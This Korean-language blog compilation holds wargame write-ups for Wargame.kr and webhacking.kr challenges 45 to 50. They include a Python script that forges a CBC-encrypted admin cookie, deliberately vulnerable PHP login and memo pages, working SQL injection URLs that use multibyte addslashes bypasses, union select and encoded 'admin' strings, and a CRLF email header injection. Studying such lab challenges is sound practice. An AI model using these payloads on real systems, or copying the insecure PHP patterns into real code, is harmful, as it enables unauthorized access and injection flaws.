write up은 추후 홈페이지 개설 후 모두 옮길 예정...

Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dun worry about vase 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번 문제는 사실 살짝 쫄아 있었는데, 생각보다 어렵지 않은 문제였습니다.


 

 문제 이해

문제에서 바로 Oracle Padding에 대해 알고 있는지 물어보고 있습니다.

이 문제를 보고 바로 걱정했던 건..


오라클 패팅으로 브루트포싱을 어떻게 할까에 대한 고민이었습니다.


일단 걱정은 접어두고 문제를 살펴봤는데,


문제에서 나타난 Session은 L0g1n이라는 세션명으로, 계속해서 바뀌는 것을 볼 수 있었습니다.

아이디와 패스워드는 guest/guest로 변함이 없는데 왜 변하는지 잠시 고민하다 내놓은 뇌피셜은,

CBC 모드로 암호화할 때 사용하는 IV가 계속 달라지는 것이 아닐까 하는 합리적 의심을 해보았습니다.


일단 변하지 않도록 쿠키값만 슬쩍해서 공격을 수행해보도록 했습니다.




 

 문제 풀이


오라클패팅에 대한 개념을 이해하고, %3D가 두 개가 보이는 것을 확인하고, ID와 PW에 대한 IV가 각각 다르구나로 생각했습니다.


일단 ID값이 5Bytes로 guest이고, PW에 들어간 값도 동일했으니, 암호문인 쿠키값의 길이를 측정해보았습니다.

Base64를 디코딩 후 길이를 재보니 각각 8바이트였습니다.


그렇다면 예상해보면 guest\x03\x03\x03과 같이 패딩이 되어 있을 것이라 생각했습니다.


이후 공격코드를 작성해서 풀이를 진행해보았습니다.


import base64

def bytesBlockXOR(block1, block2, length):
    resBlock = b''

    for idx in range(length):
        resBlock += bytes([block1[idx] ^ block2[idx]])

    return resBlock


ID          = '1h3ooS1xGJs='
PW          = 'G3jfbRJUnj4='

ID_Bytes    = base64.b64decode(ID)
PW_Bytes    = base64.b64decode(PW)

ID_IV       = bytesBlockXOR(b'guest\x03\x03\x03', ID_Bytes, 8)
PW_IV       = bytesBlockXOR(b'guest\x03\x03\x03', PW_Bytes, 8)

print('[+] ID_IV : ', ID_IV)
print('[+] PW_IV : ', PW_IV)


ADMIN_ID_ENC= bytesBlockXOR(b'admin\x03\x03\x03', ID_IV, 8)

print("[+] ADMIN ID ENCRYPTED : %s" % base64.b64encode(ADMIN_ID_ENC))

# 1h3ooS1xGJs%3DG3jfbRJUnj4%3D
# 0AzguzdxGJs=
# 0AzguzdxGJs%3DG3jfbRJUnj4%3D


일단은 ID에 대한 암호문은 구했지만 PW에 대한 암호문은 PW를 모르니....

일단 ID 암호문만 바꿔줘보자 했었는데,


ID 만 바꿔줘도 admin으로 풀리더군요.




Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dll with notepad 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


IDA로 본격적으로 DLL을 열어보는 기념비적인 문제입니다.


 

 문제 이해

문제에서 DLL 파일을 리버싱할 수 있느냐를 물어보며 시작됩니다.

사실 X64DBG나 OllyDBG를 사용하던 시절에 리버싱을 했었다면 상당히 고생했을 거 같습니다.


그러나 지금은 IDA와 같은 좋은 툴이 있습니다...

그리고 문제 본문을 보면 localtime이 어쩌구 하는 것을 확인할 수 있었습니다.


아무래도 localtime으로 뭔가가 달라지는 것이 아닐까 합니다.



IDA로 문제 파일 중 DLL 파일을 열어보면 아래와 같이 start 함수에 notepad.exe라는 문자열과 비교하는 부분이 있습니다.


이 부분에서 notepad.exe라는 문자열과 같지 않으면 해당 루틴으로 넘어가지 않는다고 나와 있습니다. 아무래도 같이 제공된 notepad.exe 파일이 해당 DLL 파일을 불러오는 것이라는 합리적인 의심을 해볼 수 있습니다.

다음으로 StartAddress 함수를 들어가보니 Sleep 위에 함수가 하나 호출되는 것을 볼 수 있었습니다.


아래의 루틴은 크게 의미가 없어보여서 해당 함수로 들어가보았습니다.


여기서, 친절하게 문제에서 localtime을 유의하라고 하였는데, localtime를 확인하는 로직이 나오는 걸 보니 빙고인 것 같습니다.

여기서 쭉 분석을 해봤는데, 밑줄을 그은 부분을 보면 해당 주소를 하나씩 증가 시키면서 v1에 저장되는 값을 계속해서 추가적으로 저장하는 것을 볼 수 있었습니다.


그리고 위의 값은 다룬 곳에서 따로 변하는 것이 없었고, 위의 루틴에서 나와 바로 strcmp를 하는 것이 확인되었습니다.

그렇다면 해당 값이 무언가 의미가 있을 것으로 보입니다.


아무래도 해당 값을 확인해봐야 할 것 같은데... 리버싱으로 코드를 똑같이 만들어 계산해볼 엄두가 나질 않았습니다.


때문에 저는 동적 분석을 수행하였습니다.


X64dbg로 notepad가 켜지도록 하여 해당 영역의 값이 어떻게 변하는지 확인해봐야겠다고 생각했습니다.



 

 문제 풀이

notepad.exe를 x64dbg 로 32Byte를 지원하는 바이너리로 실행하고, 분석을 추가적으로 진행했지만, 별다른 소득은 없었습니다.

그래서 처음 분석한 내용을 먼저 확인해보자해서 notepad.exe가 실행될 때까지 그냥 실행하고,

이후 추가적인 문자열이 나타났는지 확인해보았습니다.

그랬더니 아래와 같이 나왔습니다.


그랬더니 위와 같은 문자열이 나타나는 것을 확인하였습니다.



문제 소스를 봅시다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>   <input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>


id와 pw에 addslashes가 붙어 있는데 mb_convert_encoding과 쌍을 이루는 건 id입니다.

일단 id에는 %af 처럼 멀티바이트를 먹일 수 있습니다.


다만 그 이외의 필터링이 조금 빡셉니다.


꺽쇠와 equal 표시가 다 안 되고, 소괄호도 막혀 있어 함수를 사용할 수도 없습니다.


처음에는 like로 우회가 가능했습니다.


그.러.나.


?id=%af%5c&pw=||lv%09like%093%23 이와 같이 우회를 했을 때 like 1, like 2일 때는 잘 출력되지만 3일 경우는 출력되지 않습니다.

여기서는 따로 3이라는 값이 없는 것으로 생각됩니다.


여기서 union을 preg_match로 막아두었던 것은 id 파라미터뿐이고, pw에는 막지 않았었네요.



https://webhacking.kr/challenge/web-25/?id=%af%5c&pw=||0%09union%09select%093%23

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제를 살펴보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>



문제에서 lv 이란 GET 메소드 변수에 엄청나게 많은 필터링을 걸어두었군요.

그러나 우리는 저 험난한 과정을 뚫고 SQLi를 수행해야 합니다.


일단 따로 select나 or, and, 소괄호, 띄어쓰기, 탭이 안 된다고 나와있습니다.


띄어쓰기와 탭 대신 엔터로 우회하면 될 것 같으니 try try.


싱글쿼터는 우회할 수 없으니 0x로 대신합시다.


https://webhacking.kr/challenge/web-24/?lv=-1||id%0alike%0a0x61646d696e


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제에 아무리 파일을 업로드해봐도 따로 필터링도 없고 PHP는 실행이 되지 않습니다.

물론 .htaccess 파일을 업로드해봤는데도 마찬가지였습니다.


여기서 랜덤하게 이것저것 때려봤는데...

이런식으로 파일을 업로드해도 따로 나오는 게 없어서, 


뭐 없네, 하고 파일을 지우다가..


??


플래그가 나왔습니다.


납득이 되지 않아서 다시 천천히 살펴보았습니다.

<?php
  include "config.php";
  session_sync();
?>
<html>
<head>
<title>Challenge 48</title>
</head>
<body>
<h1>MEMO</h1>
<?php
  $db = dbconnect();
  if(($_GET['mode'] == "del") && ($_GET['time'])){
    if(preg_match("/[^0-9]/",$_GET['time'])) exit("time is not int");
    $result = mysqli_fetch_array(mysqli_query($db,"select id,up from chall48 where id='{$_SESSION['id']}' and time='{$_GET['time']}'"));
    if($result['id'] == $_SESSION['id']) mysqli_query($db,"delete from chall48 where time='{$_GET['time']}' and id='{$_SESSION['id']}'");
    if($result['up']){
      system("rm ./upload/{$result['up']}");
      exit("file deleted. <a href=/>go back</a>");
    }
  }
  if($_POST['memo']){
    $_POST['memo'] = addslashes($_POST['memo']);
    $file = $_FILES['upfile']['name'];
    $file = addslashes($file);
    if(preg_match("/\.\.|\//",$file)) exit("hacking detected");
    if($file){
      copy($_FILES['upfile']['tmp_name'],"./upload/".$file);
    }
    mysqli_query($db,"insert into chall48 values('{$_SESSION['id']}',".time().",'{$file}','{$_POST['memo']}')");
  }
?>
<form method=post enctype=multipart/form-data>
<input type=text size=50 name=memo><br><input type=file name=upfile><input type=submit value='Send'>
</form>
<?php
  $result = mysqli_query($db,"select * from chall48 order by time desc limit 0,20");
  while($row = mysqli_fetch_array($result)){
    $icon = crc32($_SESSION['id'])%8+1;
    $timestamp = $row['time'];
    $date = date('H:i:s',$timestamp);
    echo "<table border=0><tr onmouseout=this.style.background='white' onmouseover=this.style.background='silver'><td>{$date}</td><td align=center><img src={$icon}.jpg><br>{$row['id']}</td><td width=500>".htmlentities($row['memo'])."</td>";
    if($row['id'] == $_SESSION['id'] && $row['up']) echo("<td>[<a href=./upload/{$row['up']}>upload file</a>]</td>");
    if($row['id'] == $_SESSION['id']) echo("<td>[<a href=?mode=del&time={$timestamp}>Delete</a>]</td>");
    echo "</tr></table>";
  }
?>
</body>
</html>


일단 문제를 뽑아와보니 위와 같았습니다.


알고보니 delete를 수행할 때 system 명령어 rm으로 수행하는 것을 확인하였습니다.

생각해보니 파일을 지운다면 system 명령어든 뭐든 이용하여 PHP에서 직접 파일을 지울 때 shell 명령어를 동작시킬 거라 생각했어야 했네요.


system 명령어에서 따로 파일 이름의 필터링이 이루어지지 않으면 위와 같은 취약점을 일으킬 수 있다는 점 유의해야겠습니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제를 살펴보면 다음과 같은 페이지가 보입니다.


메일을 보내는 과정을 text로 보여주고 있습니다.


위의 문제는 과거의 메일 취약점을 이용하는 건데, 만약 Email을 보낼 때 CC를 첨부하는 게 Text로 이루어질 경우 Cc에도 해당 메일이 전송되는 취약점을 이용할 수 있었습니다. 위의 문제에서도 그러한 취약점을 이용하면 됩니다.


우리가 입력한 값이 위의 Subject에 보입니다.


여기서 %0D%0A를 입력해보면 엔터문자가 들어가는 것을 확인할 수 있습니다.


그리고 다음과 같은 파라미터를 넘기면 rubiya님께 메일을 받을 수 있습니다.


subject=kkamikoon%0D%0ACc%3A+여러분의_이메일%0D%0A

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제 소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>
</body>
</html>


위의 문제에서는 lv에 필터링을 매우 걸어두었습니다.

여기서 0x를 필터링한 건 char() 함수나 0b로 우회하였고, 띄어쓰기는 %09로 우회하였습니다.


https://webhacking.kr/challenge/web-23/?lv=0%09or%09id%3d0b0110000101100100011011010110100101101110 





'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제 소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>
</body>
</html>


여기서 19 ~ 20 소스를 보면 id와 pw 변수로 받은 값에 addslashes를 한 게 보입니다.

그리고 21번째 라인에는 mb_convert_encoding을 해주는 것을 볼 수 있습니다.


UTF-8로 인코딩해주는 것과 addslashes가 한 쌍을 이루는 것으로 보아 멀티바이트로 역슬레쉬를 우회할 수 있을 것으로 보입니다.


따라서 id 값에는 %af%5c 와 같은 값을 넣어주고 pw에는 원하는 조건문을 입력해주고 주석처리로 마무리해줍니다.


https://webhacking.kr/challenge/web-22/?id=%af%5c&pw=%20or%20id%20like%200x61646d696e%23




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08

+ Recent posts